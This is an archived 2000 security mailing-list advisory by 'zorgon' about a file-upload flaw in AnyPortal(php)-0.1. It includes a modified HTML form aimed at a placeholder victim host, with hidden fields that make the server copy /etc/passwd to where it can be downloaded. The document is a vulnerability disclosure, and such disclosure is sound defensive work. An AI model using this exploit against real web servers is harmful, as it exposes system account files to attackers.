OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
 
Subject: AnyPortal(php)-0.1 Vulnerability
From: zorgon (zorgonLINUXSTART.COM)
Date: Mon Sep 11 2000 - 04:54:33 CDT


========================================================
        AnyPortal(php)-0.1 Vulnerability
========================================================

Date: 08/09/2000
Author: zorgon <zorgonlinuxstart.com>
Web: http://www.nightbird.free.fr

Introduction
--------------
Secure Reality Pty Ltd. has published the Security Advisory #1 (SRADV00001)
(http://www.securityfocus.com/bid/1649)
I reproduce this vulnerability with AnyPortal(php)-0.1.

Description
------------
We suppose that AnyPortal is installed by defaut.

Create a file on your local computer called upload.html (if you want :) with
the source code of this page:
http://www.victim.com/siteman000510/siteman.php3?A=U&D=

Modify this part of code::
<FORM ENCTYPE="multipart/form-data" METHOD="POST"
 ACTION="/siteman000510/siteman.php3">
DESTINATION DIRECTORY:<B> /</B>
<P>PATHNAME OF LOCAL FILE<BR>
<INPUT TYPE="HIDDEN" NAME="DIR" VALUE="/">
<INPUT TYPE="HIDDEN" NAME="POSTACTION" VALUE="UPLOAD">
<INPUT SIZE=30 TYPE="FILE" NAME="FN"></P>

By:
<FORM ENCTYPE="multipart/form-data" METHOD="POST"
 ACTION="http://www.victim.com/siteman000510/siteman.php3">
DESTINATION DIRECTORY:<B> /</B>
<P>PATHNAME OF LOCAL FILE<BR>
<INPUT TYPE="HIDDEN" NAME="DIR" VALUE="/">
<INPUT TYPE="HIDDEN" NAME="POSTACTION" VALUE="UPLOAD">
<INPUT SIZE=30 TYPE="FILE" NAME="FN"></P>
<INPUT TYPE="HIDDEN" NAME="FN" VALUE="/etc/passwd"></P>
<INPUT TYPE="HIDDEN" NAME="FN_name" VALUE="passwd">

Also, you can retrieve the passwd file on the web server.
(http://www.victim.com/ here)

==================================
zorgon <zorgonlinuxstart.com>
http://www.nightbird.free.fr
----------------------
Do you do Linux? :)
Get your FREE linuxstart.com email address at: http://www.linuxstart.com